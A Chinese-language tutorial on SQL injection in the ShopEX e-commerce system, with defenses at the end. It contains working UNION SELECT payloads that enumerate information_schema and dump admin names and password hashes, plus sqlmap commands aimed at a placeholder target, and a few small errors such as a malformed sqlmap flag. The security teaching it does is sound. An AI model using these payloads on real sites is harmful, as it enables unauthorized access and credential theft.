本文内容仅供安全研究、学习和授权测试使用,任何未经授权的入侵、攻击或破坏他人网站的行为都是非法的,并可能导致严重的法律后果,请务必在自己的测试环境或获得明确书面授权的环境下进行操作,技术应用于善途,请遵守法律法规和道德规范。

什么是 SQL 注入?
SQL 注入(SQL Injection,简称 SQLi)是一种常见的代码注入技术,攻击者通过在应用程序的输入字段(如搜索框、登录框、URL 参数等)中插入恶意的 SQL 代码片段,从而欺骗服务器执行非预期的 SQL 命令,如果应用程序未对用户输入进行严格的过滤和验证,这些恶意代码就会被当作正常的 SQL 查询语句执行,导致数据泄露、数据篡改、服务器失陷等严重后果。
ShopEX 系统的注入点分析
ShopEX 是一个老牌的 B2C/B2B 电子商务系统,其代码结构相对复杂,历史上,它存在过多个版本的 SQL 注入漏洞,这些漏洞通常出现在处理用户请求的 PHP 脚本中,特别是那些直接将用户输入拼接到 SQL 查询语句中的地方。
常见的注入点类型:
-
URL 参数注入:最常见的类型,URL 中的
id,cat_id,page,keyword等参数可能存在注入。/index.php?cat_id=[注入点]/search.php?keyword=[注入点]
-
表单 POST 数据注入:在登录、搜索、评论等表单提交的数据中可能存在。
(图片来源网络,侵删)- 用户名或密码字段。
- 搜索框的输入内容。
-
Cookie 注入:某些程序会从 Cookie 中读取数据用于查询,如果处理不当也可能产生注入。
漏洞产生的根本原因:
在 PHP 代码中,如果开发者直接使用 $_GET, $_POST, $_REQUEST 等超全局变量来构建 SQL 查询,而没有进行任何过滤或使用参数化查询,就会产生注入风险。
有问题的代码示例 (伪代码):
// 获取用户输入的 ID $id = $_GET['id']; // 直接将用户输入拼接到 SQL 语句中 (危险!) $sql = "SELECT * FROM sdb_goods WHERE goods_id = $id"; $result = $db->query($sql);
攻击者只需要构造 .../goods.php?id=1 OR 1=1,SQL 语句就变成了 SELECT * FROM sdb_goods WHERE goods_id = 1 OR 1=1,由于 1=1 永远为真,就会导致整个商品表的数据被查询出来。

注入利用教程(以 URL 参数为例)
我们将以一个典型的 URL 参数注入为例,讲解如何进行手动探测和利用,假设目标是一个 ShopEX 网站,我们怀疑其商品分类页面存在注入。
第一步:寻找并确认注入点
-
寻找目标:浏览网站,找到一个可能传递 ID 参数的页面,比如商品分类页、商品详情页等,观察 URL,
http://www.target.com/index.php?cat_id=10 -
注入测试:在 URL 的参数后面加上一个单引号 ,观察页面变化。
- 原始 URL:
...?cat_id=10 - 测试 URL:
...?cat_id=10'
- 原始 URL:
-
分析结果:
-
页面报错,并显示出 SQL 语句或数据库错误信息。
- 这是最直接的情况,说明网站开启了错误显示,并且存在注入点,你可能会看到类似
You have an error in your SQL syntax; ... near '10'' at line 1的错误。 - 存在 SQL 注入,且为显错型注入。
- 这是最直接的情况,说明网站开启了错误显示,并且存在注入点,你可能会看到类似
-
和原始页面完全不同,或者显示“无法找到该分类”等错误。
- 这说明单引号干扰了正常的 SQL 查询,很可能存在注入点,但没有直接显示错误。
- 可能存在注入,需要进一步测试。
-
页面和原始页面一模一样。
- 这说明该点可能不存在注入,或者网站对单引号等特殊字符进行了过滤。
- 此点可能无效,需要换一个点测试或尝试绕过过滤。
-
第二步:判断注入类型(显错/盲注)
如果第一步没有直接报错,我们需要进一步判断是哪种类型的注入。
-
判断是否为显错型注入:
- 尝试使用
and 1=1和and 1=2进行测试。 ...?cat_id=10 and 1=1-> 页面应该和原始页面正常显示。...?cat_id=10 and 1=2-> 页面应该会显示错误或与原始页面不同。1=1正常,1=2异常,则说明是显错型注入,这是最简单的一种。
- 尝试使用
-
判断是否为盲注:
and 1=2的页面和and 1=1的页面看起来一样,没有报错,那么很可能是盲注。- 盲注又分为布尔盲注和时间盲注。
- 布尔盲注会根据查询条件的真假(真/假)而表现出不同。
- 时间盲注没有变化,但可以通过
sleep()函数让服务器执行时间长短来判断条件的真假。
第三步:利用注入(以显错型为例)
假设我们确认了 ...?cat_id=10 是一个显错型注入点。
-
获取数据库名称:
- 目标:猜出当前连接的数据库名是什么。
- 使用
union select联合查询,并利用报错信息回显数据。 - Payload:
and 1=2 union select 1,2,concat(version(),database(),user()),4 --+
- URL:
...?cat_id=10 and 1=2 union select 1,2,concat(version(),database(),user()),4 --+ - 解释:
and 1=2:让前面的查询结果为空,以便我们控制union select的输出。union select:联合查询。1,2,3,4:union select的列数必须与前面的查询结果(sdb_goods表的列数)一致,这里我们用 1,2,3,4 来尝试,如果报错说明列数不对,需要调整。concat(version(),database(),user()):将数据库版本、数据库名、当前用户连接成一个字符串。- 注释符,用于忽略 SQL 语句后面的代码。
- 结果:如果成功,页面报错信息中会显示出类似
7.28-35-logShopEx5.7root@localhost的信息。
-
获取数据库表名:
- 目标:获取指定数据库中的所有表名(通常是
sdb_开头的表)。 - 使用
information_schema.tables这个系统表。 - Payload:
and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='[数据库名]' --+
- URL: 将
[数据库名]替换上一步得到的数据库名。 - 结果:报错信息中会列出所有表名,如
sdb_adminvchars,sdb_goods,sdb_members等。
- 目标:获取指定数据库中的所有表名(通常是
-
获取字段名:
- 目标:获取目标表中的所有字段名,我们想获取管理员表
sdb_admins的字段。 - 使用
information_schema.columns这个系统表。 - Payload:
and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='sdb_admins' --+
- 结果:报错信息中会列出
sdb_admins表的所有字段,如adm_id,adm_name,adm_password,adm_email等。
- 目标:获取目标表中的所有字段名,我们想获取管理员表
-
获取数据(脱裤):
- 目标:获取管理员用户名和密码。
- Payload:
and 1=2 union select 1,2,concat(adm_name,':',adm_password),4 from sdb_admins --+
- 结果:报错信息中会直接显示出管理员的用户名和密码(通常是经过加密的,如 MD5)。
防御措施
对于网站管理员来说,防止 SQL 注入至关重要。
-
使用参数化查询(预处理语句):
-
这是最有效、最根本的防御方法,它将 SQL 语句和数据分开处理,用户输入的数据不会被当作 SQL 代码执行。
-
PHP PDO 示例:
// 错误的方式 // $sql = "SELECT * FROM users WHERE name = '$name'"; // $stmt = $pdo->query($sql); // 正确的方式 (参数化查询) $sql = "SELECT * FROM users WHERE name = :name"; $stmt = $pdo->prepare($sql); $stmt->bindParam(':name', $name); $stmt->execute(); $result = $stmt->fetchAll();
-
-
严格的输入过滤和验证:
- 对所有用户输入(GET, POST, Cookie)进行严格的过滤。
- 白名单验证:只允许符合特定格式的字符通过,如果 ID 只能是数字,那么就应该用
is_numeric()函数检查。 - 黑名单过滤:过滤掉危险的 SQL 关键字(如
union,select,insert,delete,script等),但黑名单很容易被绕过,不如白名单可靠。
-
最小权限原则:
- 为数据库用户设置尽可能小的权限,如果应用只需要查询数据,就不要给它
INSERT,UPDATE,DELETE权限,更不要给DROP权限,这样即使发生注入,攻击者能造成的破坏也有限。
- 为数据库用户设置尽可能小的权限,如果应用只需要查询数据,就不要给它
-
关闭错误显示:
- 在生产环境中,确保 PHP 的
display_errors选项设置为Off,避免将详细的错误信息泄露给攻击者。
- 在生产环境中,确保 PHP 的
-
使用 Web 应用防火墙:
WAF 可以检测并拦截常见的 SQL 注入攻击模式,提供一道额外的安全屏障。
自动化工具
手动注入虽然有助于理解原理,但在实际测试中效率较低,可以使用自动化工具进行初步扫描,如:
-
SQLMap:一款非常强大的开源 SQL 注入工具和渗透测试工具,它能够自动发现和利用 SQL 注入漏洞。
-
基本用法:
# 扫描 URL sqlmap -u "http://www.target.com/index.php?cat_id=10" # 指定 POST 数据 sqlmap -u "http://www.target.com/login.php" --data="user=admin&pass=123" # 指定数据库类型 sqlmap -u "http://www.target.com/index.php?cat_id=10" -dbs
-
注意:使用自动化工具需要非常小心,可能会对目标服务器造成压力或留下痕迹。
-
ShopEX 的 SQL 注入漏洞分析是一个典型的 Web 安全学习案例,其核心在于理解“用户输入未经过滤直接拼接到 SQL 语句中”这一根本缺陷,无论是手动利用还是自动化工具,其原理都是基于此。
再次强调,请将此知识用于合法的安全研究和授权测试,共同维护一个更安全的网络环境。
